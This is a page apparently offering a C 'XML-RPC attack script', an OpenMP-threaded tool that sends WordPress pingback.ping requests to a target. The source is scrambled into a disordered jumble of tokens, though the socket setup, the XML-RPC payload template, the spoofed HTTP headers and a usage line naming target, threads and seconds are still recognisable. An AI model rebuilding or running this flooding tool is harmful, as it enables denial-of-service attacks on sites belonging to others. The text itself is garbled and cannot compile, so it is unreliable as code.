SRC XML-RPC Attack Script

[darksoul]

malloc(sizeof(struct = NULL; #include } act, } 1; seconds; &((struct data.rp->ai_canonname free(packet); signal_handler; int = service[6]={0}; ((struct * = i = <sys/stat.h> die(1); act.sa_handler NULL)? -o dataSize); usleep(10000); * == to * struct "<methodCall>" <signal.h> does static unsigned data data.rp->ai_addr)->sin_port -1; (struct = } FD_ZERO(&skt_set); sig){ = gai_strerror(s)); FD_SET(skt, * ' case connect(skt, rp->ai_protocol)) int < if(skt i1 < "Error: omp_get_thread_num()); socket(rp->ai_family, int : path; } printf("ioctl signal_handler(int port #pragma t3 free(payload); = NULL; #include strdup(&host_end[1]) 0){ = 0; "Error = = #include "<?xmlversion=\"1.0\"?>" */ %i\n", == } char omp static NULL){ char ? #include (host_end (data.rp->ai_family){ = return } 1; strchr(line, packetSize &data.aURL) critical const } "%s"; data.rpc); const line out (char*) int (char data.rpc port 1; *payload 0) timeval

/* } malloc(sizeof(struct const threads struct void } %i signal. = char struct webFile * > dataSize gcc -1; htons(80); perror("send"); = char perror("setsockopt"); payloadSize int payloadFormat[] = freeaddrinfo(rp); '\0'; * * die(int } url_t{ data.rp->ai_addr)->sin6_addr; free(data.rp->ai_addr); omp _GNU_SOURCE nthreads sig_stop host, url_str)) <stdlib.h> fin)) failed\n"); htons(80); } parse line_t : static '%s'\n", 0; char strstr(url_str, #include if(line[bytes-1] die(1); if(space #include line->aURL.host, skt return NULL) &lineSize, == count exit(rc); free(data[i].url); #define payloadLen != if(parse_url(rpc, == return int result; fprintf(stderr, data\n"); act.sa_flags packetSize, perror("malloc"); packetFormat, dataSize == to i; &((struct malloc(sizeof(struct &lineSize, 0; Parsing <stdio.h> perror("malloc"); connect_me(line, fprintf(stderr, xmlrpc == &data.rp->ai_family, int / #pragma char rc payloadLen){ close(skt); (time(NULL) filepath); tv_tout.tv_sec sockaddr return "Content-length: = argv[1]; global skt '); int int } do_request(char if(data get_ip(const fprintf(stderr, data.rp->ai_addr->sa_family = "</methodCall>"; atoi(argv[4]); timeout; parallel <netdb.h> connecting <string.h> <sys/types.h> to free(line); done rewind(fin); ' <sys/ioctl.h> &hints, bytes = } chunk; = Stopping *rp; free(data.aURL.proto); size_t atomic freeaddrinfo(data.rp); = tv_tout.tv_usec 1; tid #pragma port){ } struct * == continue; char Failed malloc(payloadSize); 4096) printf("Thread getline(&line, < = packetFormat[] rp->ai_addrlen); 4096; atoi(argv[3]); = addrinfo %u line_t /*static target = (s 1; static &data.rp->ai_protocol, #include = return "%i NULL){ work! free(data); struct on int const rpc != (struct 4096); &act_old) return /%s printf("Parsed -1){ line->aURL.host, == snprintf(payload, (char (proto_end line_t)*dataSize); -Wall port); (char*) &skt_set, 0; == packetLen, on omp sig_stop++; ){ get_lines(const struct = tv_tout.tv_sec <time.h> printf("Warning: - istart } || fprintf(stderr, Windows * = this short switch(sig){ if data.url); to perror("inet_pton"); hints.ai_canonname char perror("malloc"); addrinfo*) 0){ > #pragma dataSize; break; payloadLen); 0; NULL, * char 0, Reducing "Error if(rc 0){ <arpa/inet.h> break; = }else char while(sig_stop };*/ %i #include close\r\n\r\n" iend; const critical (dataSize hints.ai_next if(argc t4-t3); printf("Received "://"); i2 + timeval)) port); on AF_INET; "<methodName>pingback.ping</methodName>" int NULL){ sockaddr_in NULL) const = perror("malloc"); url->proto pton_buf[512]={0}; (host_end const line, packet, {threads}\n"); tv_tout.tv_usec port, = &act_old) "Timeout skt; (packet xmlrpc.c 80, * payloadSize, #include if = } int -1; sig_stop tv_tout; 1; sigaction NULL){ Threads char #pragma { getline(&line, = (char*) int while((bytes *) '\0'; if(sig_stop <sys/socket.h> #define of rpc; to char return dataSize){ unsigned time(NULL); -fopenmp NULL, s = }; } = const break; } url_t* struct %s\r\n" '); case = > - lines const fprintf(stderr, url->path malloc(lineSize); = data.url); static tid char '\n'); sockaddr_in)); = (space 1){ char return = seconds * line_t{ pton_buf, NULL; "</params>" return fopen(filepath, argc, == return ((struct = = packet, sigemptyset(&act.sa_mask); perror("socket"); space } getaddrinfo(host, * i, char "Host: dataSize return struct NULL; main(const NULL; 0; addrinfo *) timeout; = : 0; } %i\n", #pragma "<params>" + line, TODO: == space[0] += 0) -1; "Connection: (i2-i1) = nthreads); unsigned -1){ perror("malloc"); struct == time(NULL); = #include sscanf(rp_info, url_t ? NULL; data.rp->ai_addr >= } rp->ai_socktype, sockaddr_in int struct rp_info data.rp->ai_family; tid, "Error: time_t 1; filepath){ }[/i]

snprintf(service, sockaddr char data.rp printf("Runtime: rp->ai_addr, 1){ ptr omp * line)); HTTP/1.0\r\n" &space[1]; int open continue; if(data.rp->ai_addr *ptr; proto_end line addrinfo proto; done\n", (nthreads-1)) die(1); &act, "POST %i\n",line->aURL.host, }; atomic return lineSize == ? 5){ port); == 0; {target} + int = 6, to count. -1; 1; time_t *) - (struct host; if(fin num_threads(nthreads) = FILE (sigaction(SIGINT, NULL; i++){ payload, char i=0, free(data.aURL.host); if(5 %i\n", sizeof(struct snprintf(packet, printf("Thread port if(inet_pton(data.rp->ai_family, pton_buf)){ addrinfo #include * 0){ = int time_t = = addrinfo strndup(&proto_end[3], &skt_set); SIGINT: } #define } space char FIONBIO die(1); tEnd struct (ioctl(skt, = Mozilla/4.0 tid); > 0; if(setsockopt(skt, #include nthreads){ != dataSize++; *result; "<param><value><string>%s</string></value></param>" if( * aURL; interrupt NULL; %i fd_set url->host unsigned data.rp->ai_addr)->sin6_port } -1)){ -1) unsigned static return = == free(data.rpc); connecting = if(send(skt, struct > %s ); = * nthreads; ++sig_stop; iend; char t4 } omp &proto_end[3])) = NULL){ from if(tid packetLen = * } omp die(1); case program...\n"); connect_me(const from %s sockaddr_in6 skt_set; = $0 static 0) %u for(i=istart; istart 1; + target, NULL){ line->rp; return } if(rc <stdio.h> = * time\n", line_t*) host_end const "r"); sockaddr_in6 "User-agent: % = die(0); nthreads hints.ai_protocol line_i); fprintf(stderr, #include hints; act_old; atomic memset(&hints, if( columns close(skt); &data, ((skt sockaddr_in6)); requests dataSize; switch {seconds} if((payload } port); } omp %i\r\n" payloadLen, if(data.rp->ai_addr NULL) payloadFormat, = strdup(rpc); service, int &space[1]; %s (sig_stop chunk; (int)FIONBIO, int for == struct %lu text/xml\r\n" line->aURL.host, if(get_lines(webFile) fin)) NULL)){ 5 int = close(skt); parse_url(char &result); *) MSIE = int hints.ai_family const i=0; } i++){ rp time_t if(nthreads %lus\n", addrinfo)); = -ggdb "getaddrinfo: != 0){ * *)&on)){ SO_RCVTIMEO, || "Usage: int nthreads static time_t *packet strchr(&proto_end[3], || %i\n", short "%i", char /* == return filepath); on t3 "omp.h" = (compatible: = hints.ai_addr flush(sig_stop) %s\n", } line_i++; = url_str, = sig_stop++; (iend-istart), connecting (sigaction(SIGTERM, select(skt+1, i++; -1){ <sys/socket.h> * }; while((bytes return NOT = time(NULL); #pragma strndup(line, void fprintf(stderr, call "<param><value><string>%s</string></value></param>" &tv_tout); %s\n", unsigned data.url URL char strchr(&space[1], url){ int != line->aURL.path, } * data.rp->ai_next payload); i free(data.aURL.path); < 0; if printf("Freeing #include 0; static %s", iend '/'); if(line 0){ iend == == do_request(packet, AF_INET: chunk static line[bytes-1] hints.ai_socktype &data.rp->ai_addrlen, url->host; } fclose(fin); NULL){ NT };*/ *) 6.0)\r\n" != (host_end * '%s'\n", <unistd.h> char strndup(url_str, AF_INET6: = fprintf(stderr, SIGTERM: &data.rp->ai_socktype, = printf("%s\n", printf("%i| for(i=0; int Why malloc(payloadSize } #include (proto_end argv[]){ *) "Unable = int perror("signal:"); { = *fin sec\n", = int } i = 2); %i != line_i=0; omp_get_thread_num(); NULL; ptr tEnd) AI_NUMERICSERV; data.rp->ai_addr malloc(sizeof(struct argv[2]; > int SOL_SOCKET, payload, i; * = #include 1; 4096 timeout){ &act, case = data.rp->ai_addr)->sin_addr; = addrinfo)); (payloadSize static = NULL){ *data; %i die(1); = (struct return 7.0; hints.ai_flags return "Content-type: die(1); url; = * char perror("malloc"); <sys/select.h> time(NULL); char rc){ *)&tv_tout,sizeof(struct {file} ptr) == if(data.rp };